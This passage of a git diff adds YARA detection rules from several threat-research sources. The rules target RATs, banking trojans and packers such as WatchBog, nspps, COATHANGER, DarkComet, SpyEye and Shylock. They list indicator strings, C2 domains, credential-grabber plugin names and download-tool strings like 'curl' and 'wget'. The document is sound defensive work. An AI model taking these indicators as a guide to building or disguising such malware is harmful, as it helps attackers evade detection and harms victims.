+		$268443872_12 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268450593_12 = { 4C ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 8F }
+
+	condition:
+		50 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Intezer/WatchBog.yar b/yara-mikesxrs/Intezer/WatchBog.yar
new file mode 100644
index 0000000..877374b
--- /dev/null
+++ b/yara-mikesxrs/Intezer/WatchBog.yar
@@ -0,0 +1,25 @@
+rule WatchBog_Cython
+{	
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	
+    strings:
+	$a0 = "/tmp/.parttttzone"
+	$a1 = "__pyx_kp_s_watchbog_dev"
+	$a2 = "__pyx_k_watchbog_dev"
+	$a3 = "__pyx_n_s_watchbog" 
+	$a4 = "__pyx_k_watchbog"
+	$b0 = "jail.BlueKeep"
+	$b1 = "jail.Pwn"
+	$b2 = "jail.Crack"
+	$b3 = "jail.Solr"
+	$b4 = "jail.Jira"
+	$b5 = "jail.Couchdb"
+	$b6 = "jail.Jenkins"
+	$b7 = "jail.Laravel"
+	$b8 = "jail.Bot"
+    condition:
+	any of ($a*) and 2 of ($b*)
+}
diff --git a/yara-mikesxrs/Ironnet/nspps_RC4_Key.yar b/yara-mikesxrs/Ironnet/nspps_RC4_Key.yar
new file mode 100644
index 0000000..3a5fb90
--- /dev/null
+++ b/yara-mikesxrs/Ironnet/nspps_RC4_Key.yar
@@ -0,0 +1,13 @@
+rule nspps_RC4_Key {
+    meta:
+        author = "IronNet Threat Research"
+        date = "20200320"
+        version = "1.0.0"
+        description = "RC4 Key used in nspps RAT"
+        reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"
+        report = "https://www.ironnet.com/blog/malware-analysis-nspps-a-go-rat-backdoor"
+    strings:
+        $s1 = { 37 36 34 31 35 33 34 34 36 62 36 31 }
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Ironnet/nspss_executable_strings.yar b/yara-mikesxrs/Ironnet/nspss_executable_strings.yar
new file mode 100644
index 0000000..d6d38a1
--- /dev/null
+++ b/yara-mikesxrs/Ironnet/nspss_executable_strings.yar
@@ -0,0 +1,47 @@
+rule nspss_executable_strings {
+
+    meta:
+        author = "IronNet Threat Research"
+        date = "20200320"
+        version = "1.0.0"
+        description = "ASCII strings seen in nspps RAT"
+        reference = "SHA1:3bbb58a2803c27bb5de47ac33c6f13a9b8a5fd79"
+        report = "https://www.ironnet.com/blog/malware-analysis-nspps-a-go-rat-backdoor"
+strings:
+        $s00 = "%s.lock" wide ascii
+        $s01 = ", pass " wide ascii
+        $s02 = ", user " wide ascii
+        $s03 = "/getT" wide ascii
+        $s04 = "/tmp/." wide ascii
+        $s05 = "/var/tmp/." wide ascii
+        $s06 = "Get task error" wide ascii
+        $s07 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" wide ascii
+        $s08 = "SKL=" wide ascii
+        $s09 = "Targets for task %d is empty" wide ascii
+        $s10 = "Targets getted, type cidr, size %d" wide ascii
+        $s11 = "Targets getted, type ip, size %d" wide ascii
+        $s12 = "Targets getted, type url, size %d" wide ascii
+        $s13 = "Task %d, executed in %s" wide ascii
+        $s14 = "Task %d, new targets setted, size %d" wide ascii
+        $s15 = "Task %d, processed %d/%d, left %d, thread %d, pps %d" wide ascii
+        $s16 = "Try to get targets for %d, offset %d" wide ascii
+        $s17 = "UpdateCommand: downloaded to %s" wide ascii
+        $s18 = "User-Agent:" wide ascii
+        $s19 = "curl" wide ascii
+        $s20 = "doTask with type %s"
+        $s21 = "exec_out" wide ascii
+        $s22 = "firewire.sh" wide ascii
+        $s23 = "get md5 of file error" wide ascii
+        $s24 = "invalid md5, actual %s, expected %s, url %s" wide ascii
+        $s25 = "libpcap-dev" wide ascii
+        $s26 = "masscan chmod output %s" wide ascii
+        $s27 = "sendSocks %s" wide ascii
+        $s28 = "socks port = " wide ascii
+        $s29 = "startCmd %s, pid %d" wide ascii
+        $s30 = "try to send %d results for task %d"
+        $s31 = "versionAndHash is empty" wide ascii
+        $s32 = "wget" wide ascii
+        $s33 = "Client sent AUTH, but no password is set" wide ascii
+condition:
+        24 of them
+}
diff --git a/yara-mikesxrs/JSCU-NL/COATHANGER_beacon.yar b/yara-mikesxrs/JSCU-NL/COATHANGER_beacon.yar
new file mode 100644
index 0000000..ed7b821
--- /dev/null
+++ b/yara-mikesxrs/JSCU-NL/COATHANGER_beacon.yar
@@ -0,0 +1,23 @@
+rule COATHANGER_beacon
+{
+    meta:
+        description = "Detects COATHANGER beaconing code (GET / HTTP/2\nHost: www.google.com\n\n)"
+        malware = "COATHANGER"
+        author = "NLD MIVD - JSCU"
+        date = "20240206"
+        report = "https://www.ncsc.nl/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear"
+    strings:
+        $chunk_1 = {
+            48 B8 47 45 54 20 2F 20 48 54
+            48 89 45 B0
+            48 B8 54 50 2F 32 0A 48 6F 73
+            48 89 45 B8
+            48 B8 74 3A 20 77 77 77 2E 67
+            48 89 45 C0
+            48 B8 6F 6F 67 6C 65 2E 63 6F
+        }
+
+    condition:
+        uint32(0) == 0x464c457f and filesize < 5MB and
+        any of them
+}
diff --git a/yara-mikesxrs/JSCU-NL/COATHANGER_files.yar b/yara-mikesxrs/JSCU-NL/COATHANGER_files.yar
new file mode 100644
index 0000000..14e830d
--- /dev/null
+++ b/yara-mikesxrs/JSCU-NL/COATHANGER_files.yar
@@ -0,0 +1,22 @@
+rule COATHANGER_files
+{
+    meta:
+        description = "Detects COATHANGER files by used filenames"
+        malware = "COATHANGER"
+        author = "NLD MIVD - JSCU"
+        date = "20240206"
+    strings:
+        $1 = "/data2/"
+        $2 = "/httpsd"
+        $3 = "/preload.so"
+        $4 = "/authd"
+        $5 = "/tmp/packfile"
+        $6 = "/smartctl"
+        $7 = "/etc/ld.so.preload"
+        $8 = "/newcli"
+        $9 = "/bin/busybox"
+
+    condition:
+        (uint32(0) == 0x464c457f or uint32(4) == 0x464c457f)
+        and filesize < 5MB and 4 of them
+}
diff --git a/yara-mikesxrs/Jipe_/AutoIT.yar b/yara-mikesxrs/Jipe_/AutoIT.yar
new file mode 100644
index 0000000..b5eca84
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/AutoIT.yar
@@ -0,0 +1,15 @@
+rule AutoIt : packer
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "AutoIT packer"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:	
+		$a = "This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support."
+
+	condition:
+		$a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/BlackShades.yar b/yara-mikesxrs/Jipe_/BlackShades.yar
new file mode 100644
index 0000000..b97e4d6
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/BlackShades.yar
@@ -0,0 +1,20 @@
+rule BlackShades : rat
+{
+	meta:
+		description = "BlackShades"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = { 42 00 6C 00 61 00 63 00 6B 00 73 00 68 00 61 00 64 00 65 00 73 }
+		$b = { 36 00 3C 00 32 00 20 00 32 00 32 00 26 00 31 00 39 00 3E 00 1D 00 17 00 17 00 1C 00 07 00 1B 00 03 00 07 00 28 00 23 00 0C 00 1D 00 10 00 1B 00 12 00 00 00 28 00 37 00 10 00 01 00 06 00 11 00 0B 00 07 00 22 00 11 00 17 00 00 00 1D 00 1B 00 0B 00 2F 00 26 00 01 00 0B }
+		$c = { 62 73 73 5F 73 65 72 76 65 72 }
+		$d = { 43 4C 49 43 4B 5F 44 45 4C 41 59 00 53 43 4B 5F 49 44 }
+		$e = { 6D 6F 64 49 6E 6A 50 45 }
+		$apikey = "f45e373429c0def355ed9feff30eff9ca21eec0fafa1e960bea6068f34209439"
+
+	condition:
+		any of ($a, $b, $c, $d, $e) or $apikey		
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Bolonyokte.yar b/yara-mikesxrs/Jipe_/Bolonyokte.yar
new file mode 100644
index 0000000..2bd15bf
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Bolonyokte.yar
@@ -0,0 +1,45 @@
+rule Bolonyokte : rat 
+{
+	meta:
+		description = "UnknownDotNet RAT - Bolonyokte"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$campaign1 = "Bolonyokte" ascii wide
+		$campaign2 = "donadoni" ascii wide
+		
+		$decoy1 = "nyse.com" ascii wide
+		$decoy2 = "NYSEArca_Listing_Fees.pdf" ascii wide
+		$decoy3 = "bf13-5d45cb40" ascii wide
+		
+		$artifact1 = "Backup.zip"  ascii wide
+		$artifact2 = "updates.txt" ascii wide
+		$artifact3 = "vdirs.dat" ascii wide
+		$artifact4 = "default.dat"
+		$artifact5 = "index.html"
+		$artifact6 = "mime.dat"
+		
+		$func1 = "FtpUrl"
+		$func2 = "ScreenCapture"
+		$func3 = "CaptureMouse"
+		$func4 = "UploadFile"
+
+		$ebanking1 = "Internet Banking" wide
+		$ebanking2 = "(Online Banking)|(Online banking)"
+		$ebanking3 = "(e-banking)|(e-Banking)" nocase
+		$ebanking4 = "login"
+		$ebanking5 = "en ligne" wide
+		$ebanking6 = "bancaires" wide
+		$ebanking7 = "(eBanking)|(Ebanking)" wide
+		$ebanking8 = "Anmeldung" wide
+		$ebanking9 = "internet banking" nocase wide
+		$ebanking10 = "Banking Online" nocase wide
+		$ebanking11 = "Web Banking" wide
+		$ebanking12 = "Power"
+
+	condition:
+		any of ($campaign*) or 2 of ($decoy*) or 2 of ($artifact*) or all of ($func*) or 3 of ($ebanking*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Cerberus.yar b/yara-mikesxrs/Jipe_/Cerberus.yar
new file mode 100644
index 0000000..f22a213
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Cerberus.yar
@@ -0,0 +1,18 @@
+rule Cerberus : rat
+{
+	meta:
+		description = "Cerberus"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$checkin = "Ypmw1Syv023QZD"
+		$clientpong = "wZ2pla"
+		$serverping = "wBmpf3Pb7RJe"
+		$generic = "cerberus" nocase
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Citadel.yar b/yara-mikesxrs/Jipe_/Citadel.yar
new file mode 100644
index 0000000..66532cf
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Citadel.yar
@@ -0,0 +1,22 @@
+rule citadel13xy : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Citadel 1.5.x.y trojan banker"
+		date = "2013-01-12" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "Coded by BRIAN KREBS for personnal use only. I love my job & wife."
+		$b = "http://%02x%02x%02x%02x%02x%02x%02x%02x.com/%02x%02x%02x%02x/%02x%02x%02x%02x%02x.php"
+		$c = "%BOTID%"
+		$d = "%BOTNET%"
+		$e = "cit_video.module"
+		$f = "bc_remove"
+		$g = "bc_add"
+		$ggurl = "http://www.google.com/webhp"
+
+	condition:
+		3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/DarkComet.yar b/yara-mikesxrs/Jipe_/DarkComet.yar
new file mode 100644
index 0000000..5f77c16
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/DarkComet.yar
@@ -0,0 +1,19 @@
+rule DarkComet : rat
+{
+	meta:
+		description = "DarkComet" 
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = "#BEGIN DARKCOMET DATA --"
+		$b = "#EOF DARKCOMET DATA --"
+		$c = "DC_MUTEX-"
+		$k1 = "#KCMDDC5#-890"
+		$k2 = "#KCMDDC51#-890"
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Dotfuscator.yar b/yara-mikesxrs/Jipe_/Dotfuscator.yar
new file mode 100644
index 0000000..0b9435f
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Dotfuscator.yar
@@ -0,0 +1,15 @@
+rule dotfuscator : packer
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Dotfuscator"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = "Obfuscated with Dotfuscator"
+
+	condition:
+		$a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Ice-IX.yar b/yara-mikesxrs/Jipe_/Ice-IX.yar
new file mode 100644
index 0000000..062f6a4
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Ice-IX.yar
@@ -0,0 +1,21 @@
+rule ice_ix_12xy : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "ICE-IX 1.2.x.y trojan banker"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+	
+	strings:
+		$regexp1= /bn1=.{32}&sk1=[0-9a-zA-Z]{32}/
+		$a = "bn1="
+		$b = "&sk1="
+		$c = "mario"								//HardDrive GUID artifact
+		$d = "FIXME"
+		$e = "RFB 003.003"							//VNC artifact
+		$ggurl = "http://www.google.com/webhp"
+
+	condition:
+		$regexp1 or ($a and $b) or all of ($c,$d,$e,$ggurl) 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Jipe_/Jipe__index.yara b/yara-mikesxrs/Jipe_/Jipe__index.yara
new file mode 100644
index 0000000..2897c82
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/Jipe__index.yara
@@ -0,0 +1,491 @@
+rule AutoIt : packer
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "AutoIT packer"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:	
+		$a = "This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support."
+
+	condition:
+		$a
+}
+rule BlackShades : rat
+{
+	meta:
+		description = "BlackShades"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = { 42 00 6C 00 61 00 63 00 6B 00 73 00 68 00 61 00 64 00 65 00 73 }
+		$b = { 36 00 3C 00 32 00 20 00 32 00 32 00 26 00 31 00 39 00 3E 00 1D 00 17 00 17 00 1C 00 07 00 1B 00 03 00 07 00 28 00 23 00 0C 00 1D 00 10 00 1B 00 12 00 00 00 28 00 37 00 10 00 01 00 06 00 11 00 0B 00 07 00 22 00 11 00 17 00 00 00 1D 00 1B 00 0B 00 2F 00 26 00 01 00 0B }
+		$c = { 62 73 73 5F 73 65 72 76 65 72 }
+		$d = { 43 4C 49 43 4B 5F 44 45 4C 41 59 00 53 43 4B 5F 49 44 }
+		$e = { 6D 6F 64 49 6E 6A 50 45 }
+		$apikey = "f45e373429c0def355ed9feff30eff9ca21eec0fafa1e960bea6068f34209439"
+
+	condition:
+		any of ($a, $b, $c, $d, $e) or $apikey		
+}
+
+
+rule Bolonyokte : rat 
+{
+	meta:
+		description = "UnknownDotNet RAT - Bolonyokte"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$campaign1 = "Bolonyokte" ascii wide
+		$campaign2 = "donadoni" ascii wide
+		
+		$decoy1 = "nyse.com" ascii wide
+		$decoy2 = "NYSEArca_Listing_Fees.pdf" ascii wide
+		$decoy3 = "bf13-5d45cb40" ascii wide
+		
+		$artifact1 = "Backup.zip"  ascii wide
+		$artifact2 = "updates.txt" ascii wide
+		$artifact3 = "vdirs.dat" ascii wide
+		$artifact4 = "default.dat"
+		$artifact5 = "index.html"
+		$artifact6 = "mime.dat"
+		
+		$func1 = "FtpUrl"
+		$func2 = "ScreenCapture"
+		$func3 = "CaptureMouse"
+		$func4 = "UploadFile"
+
+		$ebanking1 = "Internet Banking" wide
+		$ebanking2 = "(Online Banking)|(Online banking)"
+		$ebanking3 = "(e-banking)|(e-Banking)" nocase
+		$ebanking4 = "login"
+		$ebanking5 = "en ligne" wide
+		$ebanking6 = "bancaires" wide
+		$ebanking7 = "(eBanking)|(Ebanking)" wide
+		$ebanking8 = "Anmeldung" wide
+		$ebanking9 = "internet banking" nocase wide
+		$ebanking10 = "Banking Online" nocase wide
+		$ebanking11 = "Web Banking" wide
+		$ebanking12 = "Power"
+
+	condition:
+		any of ($campaign*) or 2 of ($decoy*) or 2 of ($artifact*) or all of ($func*) or 3 of ($ebanking*)
+}
+
+rule Cerberus : rat
+{
+	meta:
+		description = "Cerberus"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$checkin = "Ypmw1Syv023QZD"
+		$clientpong = "wZ2pla"
+		$serverping = "wBmpf3Pb7RJe"
+		$generic = "cerberus" nocase
+
+	condition:
+		any of them
+}
+rule citadel13xy : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Citadel 1.5.x.y trojan banker"
+		date = "2013-01-12" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "Coded by BRIAN KREBS for personnal use only. I love my job & wife."
+		$b = "http://%02x%02x%02x%02x%02x%02x%02x%02x.com/%02x%02x%02x%02x/%02x%02x%02x%02x%02x.php"
+		$c = "%BOTID%"
+		$d = "%BOTNET%"
+		$e = "cit_video.module"
+		$f = "bc_remove"
+		$g = "bc_add"
+		$ggurl = "http://www.google.com/webhp"
+
+	condition:
+		3 of them
+}
+rule DarkComet : rat
+{
+	meta:
+		description = "DarkComet" 
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = "#BEGIN DARKCOMET DATA --"
+		$b = "#EOF DARKCOMET DATA --"
+		$c = "DC_MUTEX-"
+		$k1 = "#KCMDDC5#-890"
+		$k2 = "#KCMDDC51#-890"
+
+	condition:
+		any of them
+}
+rule dotfuscator : packer
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Dotfuscator"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$a = "Obfuscated with Dotfuscator"
+
+	condition:
+		$a
+}
+rule ice_ix_12xy : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "ICE-IX 1.2.x.y trojan banker"
+		date = "2013-01-12"
+		filetype = "memory"
+		version = "1.0" 
+	
+	strings:
+		$regexp1= /bn1=.{32}&sk1=[0-9a-zA-Z]{32}/
+		$a = "bn1="
+		$b = "&sk1="
+		$c = "mario"								//HardDrive GUID artifact
+		$d = "FIXME"
+		$e = "RFB 003.003"							//VNC artifact
+		$ggurl = "http://www.google.com/webhp"
+
+	condition:
+		$regexp1 or ($a and $b) or all of ($c,$d,$e,$ggurl) 
+}
+rule jRAT_conf : rat 
+{
+	meta:
+		description = "jRAT configuration"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-10-11"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://github.com/MalwareLu/config_extractor/blob/master/config_jRAT.py" 
+		ref2 = "http://www.ghettoforensics.com/2013/10/dumping-malware-configuration-data-from.html" 
+
+	strings:
+		$a = "/port=[0-9]{1,5}SPLIT/" 
+
+	condition: 
+		$a
+}
+rule NetWiredRC_B : rat 
+{
+	meta:
+		description = "NetWiredRC"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2014-12-23"
+		filetype = "memory"
+		version = "1.1" 
+
+	strings:
+		$mutex = "LmddnIkX"
+
+		$str1 = "%s.Identifier"
+		$str2 = "%d:%I64u:%s%s;"
+		$str3 = "%s%.2d-%.2d-%.4d"
+		$str4 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+		$str5 = "%.2d/%.2d/%d %.2d:%.2d:%.2d"
+		
+		$klg1 = "[Backspace]"
+		$klg2 = "[Enter]"
+		$klg3 = "[Tab]"
+		$klg4 = "[Arrow Left]"
+		$klg5 = "[Arrow Up]"
+		$klg6 = "[Arrow Right]"
+		$klg7 = "[Arrow Down]"
+		$klg8 = "[Home]"
+		$klg9 = "[Page Up]"
+		$klg10 = "[Page Down]"
+		$klg11 = "[End]"
+		$klg12 = "[Break]"
+		$klg13 = "[Delete]"
+		$klg14 = "[Insert]"
+		$klg15 = "[Print Screen]"
+		$klg16 = "[Scroll Lock]"
+		$klg17 = "[Caps Lock]"
+		$klg18 = "[Alt]"
+		$klg19 = "[Esc]"
+		$klg20 = "[Ctrl+%c]"
+
+	condition: 
+		$mutex or (1 of ($str*) and 1 of ($klg*))
+}
+
+rule office_document_vba
+{
+	meta:
+		description = "Office document with embedded VBA"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-12-17"
+		reference = "N/A"
+
+	strings:
+		$officemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+		$zipmagic = "PK"
+
+		$97str1 = "_VBA_PROJECT_CUR" wide
+		$97str2 = "VBAProject"
+		$97str3 = { 41 74 74 72 69 62 75 74 00 65 20 56 42 5F }
+
+		$xmlstr1 = "vbaProject.bin"
+		$xmlstr2 = "vbaData.xml"
+
+	condition:
+		($officemagic at 0 and any of ($97str*)) or ($zipmagic at 0 and any of ($xmlstr*))
+}
+rule plugX : rat
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "PlugX RAT"
+		date = "2014-05-13"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://github.com/mattulm/IR-things/blob/master/volplugs/plugx.py"
+		
+	strings:
+		$v1a = { 47 55 4C 50 00 00 00 00 }
+		$v1b = "/update?id=%8.8x" 
+		$v1algoa = { BB 33 33 33 33 2B } 
+		$v1algob = { BB 44 44 44 44 2B } 
+		$v2a = "Proxy-Auth:" 
+		$v2b = { 68 A0 02 00 00 } 
+		$v2k = { C1 8F 3A 71 } 
+		
+	condition: 
+		$v1a at 0 or $v1b or (($v2a or $v2b) and (($v1algoa and $v1algob) or $v2k))
+}
+rule poisonivy : rat
+{
+	meta:
+		description = "Poison Ivy"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-02-01"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "https://code.google.com/p/volatility/source/browse/trunk/contrib/plugins/malware/poisonivy.py"
+
+	strings:
+		$a = { 53 74 75 62 50 61 74 68 ?? 53 4F 46 54 57 41 52 45 5C 43 6C 61 73 73 65 73 5C 68 74 74 70 5C 73 68 65 6C 6C 5C 6F 70 65 6E 5C 63 6F 6D 6D 61 6E 64 [22] 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 41 63 74 69 76 65 20 53 65 74 75 70 5C 49 6E 73 74 61 6C 6C 65 64 20 43 6F 6D 70 6F 6E 65 6E 74 73 5C } 
+		
+	condition:
+		$a
+}
+rule qadars : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Qadars - Mobile part. Maybe Perkele."
+		version = "1.0" 
+		filetype = "memory"
+		ref1 = "http://www.lexsi-leblog.fr/cert/qadars-nouveau-malware-bancaire-composant-mobile.html"
+
+	strings:
+		$cmd1 = "m?D"
+		$cmd2 = "m?S"
+		$cmd3 = "ALL"
+		$cmd4 = "FILTER"
+		$cmd5 = "NONE"
+		$cmd6 = "KILL"
+		$cmd7 = "CANCEL"
+		$cmd8 = "SMS"
+		$cmd9 = "DIVERT"
+		$cmd10 = "MESS"
+		$nofilter = "nofilter1111111"
+		$botherderphonenumber1 = "+380678409210"
+
+	condition:
+		all of ($cmd*) or $nofilter or any of ($botherderphonenumber*)
+}
+rule shylock :  banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Shylock Banker"
+		date = "2013-12-12" 
+		version = "1.0" 
+		ref1 = "http://iocbucket.com/iocs/1b4660d57928df5ca843c21df0b2adb117026cba"
+		ref2 = "http://www.trusteer.com/blog/merchant-fraud-returns-%E2%80%93-shylock-polymorphic-financial-malware-infections-rise"
+		ref3 = "https://www.csis.dk/en/csis/blog/3811/"
+
+	strings:
+		$process1 = "MASTER"
+		$process2 = "_SHUTDOWN"
+		$process3 = "EVT_VNC"
+		$process4 = "EVT_BACK"
+		$process5 = "EVT_VNC"
+		$process6 = "IE_Hook::GetRequestInfo"
+		$process7 = "FF_Hook::getRequestInfo"
+		$process8 = "EX_Hook::CreateProcess"
+		$process9 = "hijackdll.dll"
+		$process10 = "MTX_"
+		$process11 = "FF::PR_WriteHook entry"
+		$process12 = "FF::PR_WriteHook exit"
+		$process13 = "HijackProcessAttach::*** MASTER *** MASTER *** MASTER *** %s PID=%u"
+		$process14 = "HijackProcessAttach::entry"
+		$process15 = "FF::BEFORE INJECT"
+		$process16 = "FF::AFTER INJECT"
+		$process17 = "IE::AFTER INJECT"
+		$process18 = "IE::BEFORE INJECT"
+		$process19 = "*** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** VNC *** %s"
+		$process20 = "*** LOG INJECTS *** %s"
+		$process21 = "*** inject to process %s not allowed"
+		$process22 = "*** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** BackSocks *** %s"
+		$process23 = ".?AVFF_Hook@@"
+		$process24 = ".?AVIE_Hook@@"
+		$process25 = "Inject::InjectDllFromMemory"
+		$process26 = "BadSocks.dll"	
+		$domain1 = "extensadv.cc"
+		$domain2 = "topbeat.cc"
+		$domain3 = "brainsphere.cc"
+		$domain4 = "commonworldme.cc"
+		$domain5 = "gigacat.cc"
+		$domain6 = "nw-serv.cc"
+		$domain7 = "paragua-analyst.cc"
+		
+	condition:
+		3 of ($process*) or any of ($domain*)
+}
+rule spyeye : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "SpyEye X.Y memory"
+		date = "2012-05-23" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$spyeye = "SpyEye"
+		$a = "%BOTNAME%"
+		$b = "globplugins"
+		$c = "data_inject"
+		$d = "data_before"
+		$e = "data_after"
+		$f = "data_end"
+		$g = "bot_version"
+		$h = "bot_guid"
+		$i = "TakeBotGuid"
+		$j = "TakeGateToCollector"
+		$k = "[ERROR] : Omfg! Process is still active? Lets kill that mazafaka!"
+		$l = "[ERROR] : Update is not successfull for some reason"
+		$m = "[ERROR] : dwErr == %u"
+		$n = "GRABBED DATA"
+		
+	condition:
+		$spyeye or (any of ($a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k,$l,$m,$n))
+}
+
+rule spyeye_plugins : banker
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "SpyEye X.Y Plugins memory"
+		date = "2012-05-23" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "webfakes.dll"
+		$b = "config.dat"			//may raise some FP
+		$c = "collectors.txt"
+		$d = "webinjects.txt"
+		$e = "screenshots.txt"
+		$f = "billinghammer.dll"
+		$g = "block.dll"			//may raise some FP
+		$h = "bugreport.dll"		//may raise some FP
+		$i = "ccgrabber.dll"
+		$j = "connector2.dll"
+		$k = "creditgrab.dll"
+		$l = "customconnector.dll"
+		$m = "ffcertgrabber.dll"
+		$n = "ftpbc.dll"
+		$o = "rdp.dll"				//may raise some FP
+		$p = "rt_2_4.dll"
+		$q = "socks5.dll"			//may raise some FP
+		$r = "spySpread.dll"
+		$s = "w2chek4_4.dll"
+		$t = "w2chek4_6.dll"
+	
+	condition:
+		any of them
+}
+rule swrort : rat
+{
+	meta:
+		description = "Trojan:Win32/Swrort / Downloader"
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-06-22"
+		filetype = "memory"
+		version = "1.0" 
+
+	strings:
+		$path = "c:\\code\\httppump\\inner\\objchk_wxp_x86\\i386\\i.pdb"
+
+	condition:
+		all of them
+}
+rule TerminatorRat : rat 
+{
+	meta:
+		description = "Terminator RAT" 
+		author = "Jean-Philippe Teissier / @Jipe_"
+		date = "2013-10-24"
+		filetype = "memory"
+		version = "1.0" 
+		ref1 = "http://www.fireeye.com/blog/technical/malware-research/2013/10/evasive-tactics-terminator-rat.html" 
+
+	strings:
+		$a = "Accelorator"
+		$b = "<html><title>12356</title><body>"
+
+	condition:
+		all of them
+}
+
+rule xtremrat : rat
+{
+	meta:
+		author = "Jean-Philippe Teissier / @Jipe_"
+		description = "Xtrem RAT v3.5"
+		date = "2012-07-12" 
+		version = "1.0" 
+		filetype = "memory"
+
+	strings:
+		$a = "XTREME" wide
+		$b = "XTREMEBINDER" wide
+		$c = "STARTSERVERBUFFER" wide
+		$d = "SOFTWARE\\XtremeRAT" wide
+		$e = "XTREMEUPDATE" wide
+		$f = "XtremeKeylogger" wide
+		$g = "myversion|3.5" wide
+		$h = "xtreme rat" wide nocase
+	condition:
+		2 of them
+}
diff --git a/yara-mikesxrs/Jipe_/NetWiredRC_B.yar b/yara-mikesxrs/Jipe_/NetWiredRC_B.yar
new file mode 100644
index 0000000..1a762d4
--- /dev/null
+++ b/yara-mikesxrs/Jipe_/NetWiredRC_B.yar
@@ -0,0 +1,42 @@
